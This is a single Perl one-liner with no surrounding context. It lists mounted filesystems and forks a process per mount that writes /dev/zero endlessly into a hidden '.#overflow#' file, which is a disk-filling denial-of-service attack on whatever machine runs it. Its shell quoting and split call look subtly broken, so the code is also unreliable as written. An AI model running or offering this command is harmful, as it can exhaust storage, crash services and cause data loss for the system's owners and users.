perl -e 'open M,"/sbin/mount|grep -v':'";while(<M>){($m)=split($_);if(fork){open Z,"</dev/zero";open F,">$m/.#overflow#";while(<Z>){print F}}};'